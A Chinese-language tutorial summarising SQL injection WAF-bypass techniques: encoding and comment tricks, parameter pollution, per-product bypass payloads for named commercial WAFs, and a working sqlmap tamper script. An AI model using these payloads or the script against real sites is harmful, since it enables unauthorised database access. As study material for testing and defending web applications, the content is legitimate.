sql注入fuzz bypass waf
字数 2861 2025-08-29 08:32:24
SQL注入Fuzz Bypass WAF技术详解
0x00 前言
本文总结了SQL注入绕过WAF的各种技术方法,主要针对MySQL数据库,同时涵盖Access、MSSQL和Oracle等数据库的特性。内容包含注入点检测、WAF绕过技巧以及自动化实现方案。
0x01 注入点检测
数据库识别技术
通过各数据库特有的函数可以识别数据库类型:
- Access: asc(), chr(), len()
- MySQL: substring(), substr(), length()
- MSSQL: char(), ascii(), len(), substring()
- Oracle: ascii(), chr(), length(), substr(), upper(), lower(), replace(x,old,new)
通用检测方法:使用abs()函数,如2-abs(1)测试数字型注入。
请求方式变换
不同脚本语言对HTTP请求方法的支持:
| 语言 | 支持方法 |
|---|---|
| PHP | GET |
| ASPX | GET |
| ASP | GET, POST, COOKIE |
| JSP | GET, POST |
绕过技巧:
- GET不如POST
- POST不如multipart/form-data
- 使用Burp Suite的"Change Request Method"和"Change Body Encoding"功能
数据库特性
MySQL:
- 注释符号:
#,--,/* */ - 字符串可以使用成对引号:
'admin'=admin''' - 空白符号:
09,0A,0B,0C,0D,A0,20
MSSQL:
- 注释符号:
--,/* */,;%00 - 空白符号:
01-20范围内的各种控制字符
Oracle:
- 注释符号:
--,/* */ - 空白符号:
00,0A,0D,0C,09,20 - 连接符:
||被当作字符串连接符
Web容器特性
IIS+ASP(X)特性:
-
Unicode解析特性:
s%u006c%u0006ect→select%u0061nd 1=1- 多widechar可能转换为同一字符:
s%u00f0lect→select
-
百分号忽略特性:
sele%ct→selectunion selec%t user fr%om dd
-
ASP/ASP.NET请求解析:
- 允许
Content-Type: application/x-www-form-urlencoded方式提交 - 使用
request('id')可能混淆GET/POST
- 允许
PHP+Apache特性:
-
畸形boundary:
- PHP只识别boundary中逗号前的内容
- 示例:
Content-Type: multipart/form-data; boundary=------,xxxx
-
畸形method:
- 某些Apache版本会忽略HTTP方法名,始终返回GET内容
Web应用层特性
- 双重URL编码:服务器解码后应用层再次解码
- 统一参数获取方式:
- PHP的
$_REQUEST可能从COOKIE获取参数 - 尝试从不同位置提交参数(GET/POST/COOKIE)
- PHP的
- form-data提交方式:
- 当URL编码方式被过滤时,尝试使用form-data
HPP(HTTP参数污染)
不同环境处理多个同名参数的方式:
| 环境 | 处理方式 |
|---|---|
| ASP.NET + IIS | 取最后一个 |
| ASP + IIS | 取最后一个 |
| PHP + Apache | 取最后一个 |
| JSP + Tomcat | 取第一个 |
0x02 WAF绕过技术
主流WAF绕过案例
百度云加速:
- 绕过
select关键字:union--+aaaaaa%0a
360主机卫士:
- 使用注释和换行:
%23%0aand%230a1=1 - 大字符串fuzz:
%23-FUZZ-%0a
云锁:
- 内联注释:
union/*!/*!select%201,2,3*/ - 转换为multipart/form-data提交
安全狗:
- 直接尝试或使用chunked编码提交
阿里云WAF:
- 自定义变量绕过:
@a:=(select @b:= table_name from{a information_schema.TABLES}limit 0,1) - 特殊注释:
union%23aa%0a/!select--%01%0a/1,@$,3
通用绕过技巧
-
注释干扰:
- MySQL特有注释:
/*!50000select*/ - 随机注释:
sel/*xyz*/ect
- MySQL特有注释:
-
空白符干扰:
- 使用各种空白字符(制表符、换行等)
- 不同数据库支持的空白符不同
-
大小写/编码变换:
- 混合大小写:
SeLeCt - URL编码:
%53%45%4C%45%43%54 - Unicode编码:
%u0053%u0045%u004C%u0045%u0043%u0054
- 混合大小写:
-
等价函数/语法替换:
concat()→concat_ws()substring()→mid(),substr()
-
分块传输编码:
- 使用Transfer-Encoding: chunked
-
超长字符串干扰:
- 某些WAF对超长字符串处理存在缺陷
0x03 自动化实现
SQLMap Tamper脚本示例
针对360主机卫士的Tamper脚本:
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
替换关键字的Tamper脚本
"""
if payload:
payload = payload.replace("UNION ALL SELECT", "union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
payload = payload.replace("UNION SELECT", "union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
payload = payload.replace(" FROM ", "/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/")
payload = payload.replace("CONCAT", "/*!12345CONCAT*/")
payload = payload.replace("CAST(", "/*!12345CAST(*/")
payload = payload.replace("CASE", "/*!12345CASE*/")
payload = payload.replace("DATABASE()", "database()")
return payload
Fuzz测试方法
-
使用大字符串列表进行fuzz:
- 参考:https://github.com/minimaxir/big-list-of-naughty-strings
-
数字型注释fuzz:
- 测试范围:1w-5w,以500为步长
- 示例:
/*!12345select*/
-
特殊字符组合:
- 测试各种特殊字符组合:
%23!@%23$%%5e%26%2a()%60~
- 测试各种特殊字符组合:
参考资源
-
WAF绕过技术文章:
- http://drops.xmd5.com/static/drops/tips-7883.html
- https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_sql.pdf
-
SQL注入手册:
- http://www.sqlinjectionwiki.com/categories/2/mysql-sql-injection-cheat-sheet/
- https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
-
Nginx Lua WAF绕过:
- https://joychou.org/web/nginx-Lua-waf-general-bypass-method.html
-
其他资源:
- https://websec.ca/kb/sql_injection#MySQL_Comment_Out_Query
- https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423